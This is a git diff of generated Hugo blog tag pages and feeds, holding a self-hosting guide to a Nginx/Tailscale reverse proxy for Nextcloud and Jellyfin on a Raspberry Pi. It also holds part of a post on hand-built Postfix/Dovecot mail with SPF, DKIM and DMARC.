    \ No newline at end of file diff --git a/public-clearnet/tags/networking/page/1/index.html b/public-clearnet/tags/networking/page/1/index.html new file mode 100644 index 0000000..61577aa --- /dev/null +++ b/public-clearnet/tags/networking/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/networking/ + \ No newline at end of file diff --git a/public-clearnet/tags/nextcloud/index.html b/public-clearnet/tags/nextcloud/index.html new file mode 100644 index 0000000..ec71917 --- /dev/null +++ b/public-clearnet/tags/nextcloud/index.html @@ -0,0 +1,16 @@ +Nextcloud | AlipourIm journeys +

    Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin

    I didn’t “move Nextcloud to the cloud”. +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄 +This post documents the setup I ended up with: +A public VPS (host: funbox) running Nginx + Let’s Encrypt A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …) A private backhaul using Tailscale (the 100.x.y.z network) A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values) A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin +(in addition to Jellyfin’s own login) I’m writing this as a “future me” note and a “copy-paste friendly” guide. +...

    February 2, 2026 · 6 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/nextcloud/index.xml b/public-clearnet/tags/nextcloud/index.xml new file mode 100644 index 0000000..08e91bd --- /dev/null +++ b/public-clearnet/tags/nextcloud/index.xml @@ -0,0 +1,338 @@ +Nextcloud on AlipourIm journeyshttps://blog.alipour.eu/tags/nextcloud/Recent content in Nextcloud on AlipourIm journeysHugo -- 0.146.0enMon, 02 Feb 2026 00:00:00 +0000Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfinhttps://blog.alipour.eu/posts/pi_service_touchup/Mon, 02 Feb 2026 00:00:00 +0000https://blog.alipour.eu/posts/pi_service_touchup/Cloudflare DNS + Nginx on a VPS + Tailscale to the Pi. Small, boring, and reliable. +

    I didn’t “move Nextcloud to the cloud”.
    +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄

    +

    This post documents the setup I ended up with:

    +
      +
    • A public VPS (host: funbox) running Nginx + Let’s Encrypt
    • +
    • A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …)
    • +
    • A private backhaul using Tailscale (the 100.x.y.z network)
    • +
    • A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values)
    • +
    • A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin
      +(in addition to Jellyfin’s own login)
    • +
    +

    I’m writing this as a “future me” note and a “copy-paste friendly” guide.

    +
    +

    0) Topology

    +

    The request path looks like:

    +
    Browser
    +  ↓ HTTPS (public)
    +Cloudflare DNS (optional proxy on/off)
    +  ↓
    +VPS (funbox) — Nginx reverse proxy + Let's Encrypt
    +  ↓ HTTP over Tailscale (private 100.x network)
    +Raspberry Pi (iot-hub) — Docker: Nextcloud / Jellyfin / …
    +

    Why I like it:

    +
      +
    • The Pi can sit behind home router / CGNAT and still be reachable.
    • +
    • TLS, redirects, headers, auth, rate limits… all centralized on the VPS.
    • +
    • Internal IPs can change without breaking public URLs.
    • +
    +
    +

    1) What’s running on the Pi?

    +

    On iot-hub the “interesting” containers are:

    +
      +
    • nextcloud (Apache variant)
    • +
    • nextcloud-db (Postgres)
    • +
    • nextcloud-redis
    • +
    • jellyfin
    • +
    +

    Example docker ps style output (yours may vary):

    +
    nextcloud         nextcloud:apache     0.0.0.0:8080->80/tcp
    +jellyfin          jellyfin/jellyfin    0.0.0.0:8096->8096/tcp
    +

    So on the Pi, the services listen on:

    +
      +
    • http://<pi>:8080 for Nextcloud
    • +
    • http://<pi>:8096 for Jellyfin
    • +
    +

    But in my setup, the VPS does not reach those via LAN — it reaches them via Tailscale IPs.

    +
    +

    2) Tailscale: the private wire between VPS and Pi

    +

    Tailscale assigns each node an address like 100.xx.yy.zz.

    +

    In my config, Nginx on funbox points to the Pi via Tailscale:

    +
      +
    • Nextcloud upstream: http://100.104.127.96:8080
    • +
    • Jellyfin upstream: http://100.104.127.96:8096
    • +
    +

    (Use the Tailscale IP of your Pi.)

    +

    Quick sanity checks from the VPS:

    +
    # from funbox, make sure you can reach the Pi service:
    +curl -I http://100.104.127.96:8080
    +curl -I http://100.104.127.96:8096
    +

    If those don’t work: fix Tailscale connectivity first (ACLs, firewall, node online).

    +
    +

    3) Nginx on the VPS: reverse proxy blocks

    +

    3.1 Nextcloud vhost (VPS → Pi via Tailscale)

    +

    Create (or edit):

    +

    /etc/nginx/sites-available/nextcloud.alipourimjourneys.ir

    +

    and symlink into sites-enabled.

    +

    Here is a complete working example:

    +
    # Redirect HTTP → HTTPS
    +server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    # Certbot-managed certs
    +    ssl_certificate     /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    # Big uploads (tune to taste)
    +    client_max_body_size 2G;
    +
    +    # CalDAV/CardDAV redirects
    +    location = /.well-known/carddav { return 301 https://$host/remote.php/dav/; }
    +    location = /.well-known/caldav  { return 301 https://$host/remote.php/dav/; }
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8080;
    +
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Sometimes helps apps behind multiple proxies
    +        proxy_set_header X-Forwarded-Host  $host;
    +        proxy_set_header X-Forwarded-Port  $server_port;
    +
    +        # Nextcloud + WebDAV can do long requests
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        # Usually good for DAV/uploads
    +        proxy_buffering off;
    +        proxy_request_buffering off;
    +    }
    +}
    +

    Then test + reload:

    +
    sudo nginx -t
    +sudo systemctl reload nginx
    +

    3.2 Jellyfin vhost (with Basic Auth)

    +

    Create:

    +

    /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir

    +

    Example:

    +
    server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name jellyfin.alipourimjourneys.ir;
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name jellyfin.alipourimjourneys.ir;
    +
    +    ssl_certificate     /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    client_max_body_size 512M;
    +
    +    # ✅ Basic Auth gate (extra layer before Jellyfin)
    +    auth_basic "Jellyfin (private)";
    +    auth_basic_user_file /etc/nginx/.htpasswd-jellyfin;
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8096;
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Jellyfin uses websockets
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        proxy_buffering off;
    +    }
    +}
    +

    Enable:

    +
    sudo ln -s /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t
    +sudo systemctl reload nginx
    +

    +

    4) Creating the Basic Auth password file

    +

    Install tools (Debian/Ubuntu):

    +
    sudo apt-get update
    +sudo apt-get install -y apache2-utils
    +

    Create the password file:

    +
    sudo htpasswd -c /etc/nginx/.htpasswd-jellyfin yourusername
    +

    (If adding more users later, omit -c.)

    +

    Lock it down:

    +
    sudo chown root:root /etc/nginx/.htpasswd-jellyfin
    +sudo chmod 640 /etc/nginx/.htpasswd-jellyfin
    +

    Notes on clients

    +
      +
    • Most browsers + most Jellyfin apps handle HTTP Basic Auth fine.
    • +
    • Some TV apps can be quirky. If a client can’t handle it, you can: +
        +
      • remove Basic Auth, or
      • +
      • keep it only on selected paths, or
      • +
      • use Cloudflare Access in front of Jellyfin instead (more work).
      • +
      +
    • +
    +
    +

    5) Nextcloud: configure it to behave behind the reverse proxy

    +

    Nextcloud needs to know:

    +
      +
    • what hostnames are valid,
    • +
    • which proxy is trusted,
    • +
    • and what the “outside” URL scheme is.
    • +
    +

    You can do it via occ inside the container (Apache image uses www-data).

    +

    5.1 trusted_domains

    +

    Check current values:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:get trusted_domains
    +

    Add your public domain:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_domains 1 --value="nextcloud.alipourimjourneys.ir"
    +

    (Keep your internal name too if you still use it, e.g. rpi:8080.)

    +

    5.2 trusted_proxies

    +

    Because requests arrive from the VPS (over Tailscale), Nextcloud must trust that proxy IP.

    +

    Example:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_proxies 0 --value="100.99.79.75"
    +

    (Use the VPS’s Tailscale IP as seen from the Pi.)

    +

    5.3 overwritehost / overwriteprotocol / overwrite.cli.url

    +

    Tell Nextcloud “the world sees me as https://nextcloud.example”:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwritehost --value="nextcloud.alipourimjourneys.ir"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwriteprotocol --value="https"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwrite.cli.url --value="https://nextcloud.alipourimjourneys.ir"
    +

    5.4 forwarded_for_headers (optional, but often helpful)

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set forwarded_for_headers 0 --value="HTTP_X_FORWARDED_FOR"
    +

    Restart Nextcloud container after config:

    +
    docker restart nextcloud
    +

    +

    6) Sanity checks (curl is your friend)

    +

    From anywhere public:

    +
    curl -I http://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir/.well-known/caldav
    +

    Expected “good signs”:

    +
      +
    • HTTP returns 301 to HTTPS
    • +
    • HTTPS returns 302 to /login (or 200 if already authenticated)
    • +
    • /.well-known/caldav returns 301 to /remote.php/dav/
    • +
    +

    If you see redirect loops or wrong hostnames:

    +
      +
    • revisit overwritehost, overwriteprotocol, trusted_proxies.
    • +
    +
    +

    7) “Do I really need Cloudflare Access / WARP?”

    +

    The honest answer

    +

    If your setup is:

    +
      +
    • HTTPS only
    • +
    • strong passwords + MFA in Nextcloud/Jellyfin
    • +
    • your origin isn’t directly exposed (only the VPS is public)
    • +
    • you keep things patched
    • +
    +

    …then you’re already in a reasonable place.

    +

    “Can I skip Cloudflare Access?”

    +

    Yes. In this topology, Cloudflare Access is optional. The main security boundary is:

    +
      +
    • Public: VPS + Nginx
    • +
    • Private: Pi over Tailscale
    • +
    +

    For Jellyfin, Basic Auth adds a cheap extra gate that’s “family friendly”.

    +
    +

    8) Cloudflare Access: One-time PIN not arriving + passkeys

    +

    Two common gotchas:

    +

    8.1 One-time PIN email didn’t arrive

    +

    That flow relies on email delivery. Check:

    +
      +
    • spam/junk folder
    • +
    • if your provider blocked it
    • +
    • the exact email allowlist in your policy
    • +
    +

    If it’s flaky, I’d avoid One-time PIN and use a real identity provider.

    +

    8.2 Can I use passkeys / Apple / Google?

    +

    Yes — but passkeys typically come via an identity provider (IdP) that supports WebAuthn/passkeys. +Practical approach:

    +
      +
    • pick what your family already uses (Google or Apple),
    • +
    • configure that as the login method,
    • +
    • avoid WARP enrollment unless you specifically want device-based access.
    • +
    +
    +

    9) Hardening checklist (tiny but effective)

    +

    On the VPS:

    +
      +
    • Keep Ubuntu security updates on
    • +
    • firewall: allow only what you need (22/80/443)
    • +
    • optional: fail2ban for SSH
    • +
    +

    On the Pi:

    +
      +
    • keep Docker images updated
    • +
    • Postgres/Redis not exposed publicly (Docker internal network)
    • +
    • backups: Nextcloud data + DB
    • +
    +
    +

    10) TL;DR

    +
      +
    • VPS Nginx terminates TLS, proxies to Pi over Tailscale
    • +
    • Nextcloud must be told about: +
        +
      • trusted_domains
      • +
      • trusted_proxies
      • +
      • overwrite values (overwritehost, overwriteprotocol, overwrite.cli.url)
      • +
      +
    • +
    • curl -I should show sane redirects + /remote.php/dav/
    • +
    • Jellyfin gets an extra gate with Nginx Basic Auth
    • +
    +

    Boring is good. Boring runs for months.

    +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM
    +jSomZA/+LsB+V0BnPki5qaDc+tRu6EXM5kPuH7G8x5ar4opsKgbfsRKEwT6/Q0Er
    +vfg48uYNp4fBnoyfJrgURx+OwS7EVJRCmXaRsdilEEGHF7cT3qHhlczYaC+58lGs
    ++qXaHjYE8x0byAZ8iHNxNUhIyILVrcsdua3JZ3D3J/8r93dfVgrWg41Nrtj4tPUE
    +QQMW/KxTe/TOED4iivXxFlDCiT13KmgB/B9HeunGPqu8lPMTORf4ePoPzeYEeuuZ
    +iVH+ssNZ9XB00Z4a/c3I0d2ALLYoA/dXmrJkl0qCCpCy+7/id2yz3eXYWn2xKMvp
    +SAMTYaFAV6Fd7xdmxGYEeoCSDu8P57P7QfdPVEU1oUTANO21tEh1vGnjxcFdJUBx
    +kOvBdjQf4wDqUuNv7NKA+OHOzhJ3Wf3VLb/ZNq6Y2okEibsCygm3XDn0008WeKPv
    +ncB0gceY6nFYzbyhuUIhPtQJJWDNi5KG/KMEvYcebEwDzn7TErg/v3Bp8ZCdWRx/
    +Gs8K9nADnHhAjWgwTq3D+2qRWcF0tlLSTmKg+95yaYi0XWWMFGTgCv2odPsgFlIS
    +3FiLJC3rV73prsk+7eZftBTYCJN0Xk92YFj4a6bTYeuLcC20VbAA98Bpi0pCyO0v
    +TJ2+amlKyT+Nq9wGrAez+dTvR0FKuEvA5OO693Aibv/iwOX6UPU=
    +=2UUg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/pi_service_touchup.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/pi_service_touchup.md.asc
    +gpg --verify pi_service_touchup.md.asc pi_service_touchup.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/nextcloud/page/1/index.html b/public-clearnet/tags/nextcloud/page/1/index.html new file mode 100644 index 0000000..fd884e1 --- /dev/null +++ b/public-clearnet/tags/nextcloud/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/nextcloud/ + \ No newline at end of file diff --git a/public-clearnet/tags/nginx/index.html b/public-clearnet/tags/nginx/index.html new file mode 100644 index 0000000..bc052fa --- /dev/null +++ b/public-clearnet/tags/nginx/index.html @@ -0,0 +1,31 @@ +Nginx | AlipourIm journeys +

    Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party. +I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.) +...

    July 24, 2026 · 17 min · Iman Alipour +

    A TU Wien CTF where Sysops Klaus left the keys in the cron job

    LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of.

    June 5, 2026 · 10 min · Iman Alipour +

    Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin

    I didn’t “move Nextcloud to the cloud”. +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄 +This post documents the setup I ended up with: +A public VPS (host: funbox) running Nginx + Let’s Encrypt A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …) A private backhaul using Tailscale (the 100.x.y.z network) A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values) A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin +(in addition to Jellyfin’s own login) I’m writing this as a “future me” note and a “copy-paste friendly” guide. +...

    February 2, 2026 · 6 min · Iman Alipour +

    Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod

    TL;DR — The site is built once (Hugo project), published twice: +Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301. Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror. 1) Tor hidden service (onion) basics I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301. +Install & configure Tor (Debian/Ubuntu): +sudo apt update && sudo apt install -y tor sudoedit /etc/tor/torrc Add: +...

    September 19, 2025 · 6 min · Iman Alipour +
    HedgeDoc collaborative editing

    Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt

    HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS. +Prerequisites A Linux server with Docker and Docker Compose A domain name pointing to your server (e.g. notes.alipourimjourneys.ir) Nginx installed for reverse proxying Certbot for Let’s Encrypt certificates 1. Create the project directory mkdir ~/hedgedoc && cd ~/hedgedoc 2. Create .env POSTGRES_PASSWORD=ChangeThisStrongPassword HD_DOMAIN=notes.alipourimjourneys.ir Generate a strong password with: +...

    August 29, 2025 · 2 min · Iman Alipour +
    Matrix, Signal but distributed

    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it. +What I’m building A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain). TURN/STUN (coTURN) for NAT traversal. Element Call backed by LiveKit, fronted by rtc.example.com. Nginx (host) as the single reverse proxy for everything. Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud). UFW firewall opened for Matrix federation, TURN, and LiveKit media ports. I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448. +...

    August 26, 2025 · 8 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/nginx/index.xml b/public-clearnet/tags/nginx/index.xml new file mode 100644 index 0000000..a11a4b0 --- /dev/null +++ b/public-clearnet/tags/nginx/index.xml @@ -0,0 +1,1573 @@ +Nginx on AlipourIm journeyshttps://blog.alipour.eu/tags/nginx/Recent content in Nginx on AlipourIm journeysHugo -- 0.146.0enFri, 24 Jul 2026 00:00:00 +0000Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)https://blog.alipour.eu/posts/self_hosting_mail/Fri, 24 Jul 2026 00:00:00 +0000https://blog.alipour.eu/posts/self_hosting_mail/A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again). +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.

    +

    I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)

    +

    By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand why those pieces exist, which is the part the shiny installers quietly skip.

    +
    +

    Why I bothered

    +

    Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.

    +

    I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.

    +
    +

    How email actually moves

    +

    Imagine a post office that both receives letters from other post offices and lets you drop off letters to send — but only if you show ID at the counter.

    +

    Postfix is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port 25. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).

    +

    When you want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use submission, usually port 587, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.

    +

    Dovecot is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port 993 so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.

    +

    OpenDKIM sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.

    +

    Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.

    +

    Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.

    +
    +

    The shape of my setup

    +

    On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under /srv/services/mail/ runs Postgres only for that mail world, listening on 127.0.0.1:5433. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.

    +

    Nginx terminates HTTPS for a little portal at mail.alipourimjourneys.ir, the admin UI at mailadmin.alipourimjourneys.ir, and Roundcube at webmail.alipourimjourneys.ir. Clients still talk to mail.alipourimjourneys.ir for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.

    +
    +

    Port 25 is for servers; port 587 is for people

    +

    This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.

    +

    Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed to your domain, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.

    +

    Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.

    +

    I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.

    +
    +

    What an “open relay” is, and why localhost lies to you

    +

    An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.

    +

    Here’s the trick that wastes afternoons: testing from 127.0.0.1.

    +

    Postfix treats localhost as friendly. Cron jobs, monitoring, local sendmail calls — they need to inject mail without performing a full human login. That friendliness is encoded in mynetworks. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.

    +

    So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from evil@example.com to someone@example.com, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of 454 Relay access denied. A cheerful 250 on that recipient line is how you wake up as someone else’s cannon.

    +

    Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”

    +
    +

    DNS, but make it human

    +

    The forward map (name → number)

    +

    You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an MX record, which is simply a polite note: “if you’re delivering mail for this domain, knock on that hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.

    +

    I put mail.alipourimjourneys.ir on funbox for both v4 and v6, pointed MX at that name, and added webmail and mailadmin the same way.

    +

    Why Cloudflare’s orange cloud is not invited

    +

    Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.

    +

    Mail hostnames stay DNS-only — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.

    +
    +

    PTR records: the phonebook in reverse

    +

    This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.

    +

    Normal DNS is a phonebook from names to numbers: you look up mail.example.com and learn the IP. Reverse DNS is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a PTR record.

    +

    Those reverse records do not live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for alipourimjourneys.ir does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.

    +

    So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to mail.alipourimjourneys.ir, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.

    +

    You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.

    +
    +

    SPF, DKIM, and DMARC: three different questions

    +

    People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.

    +

    SPF answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then -all, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer ~all exists for a reason. I wasn’t mid-migration. I was building one source of truth.

    +

    DKIM answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.

    +

    DMARC answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with p=none (watch and learn), move to quarantine (bad mail goes to spam), and later reject when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.

    +

    Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.

    +

    Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.

    +
    +

    Building the unglamorous core

    +

    On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for mail.alipourimjourneys.ir, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.

    +

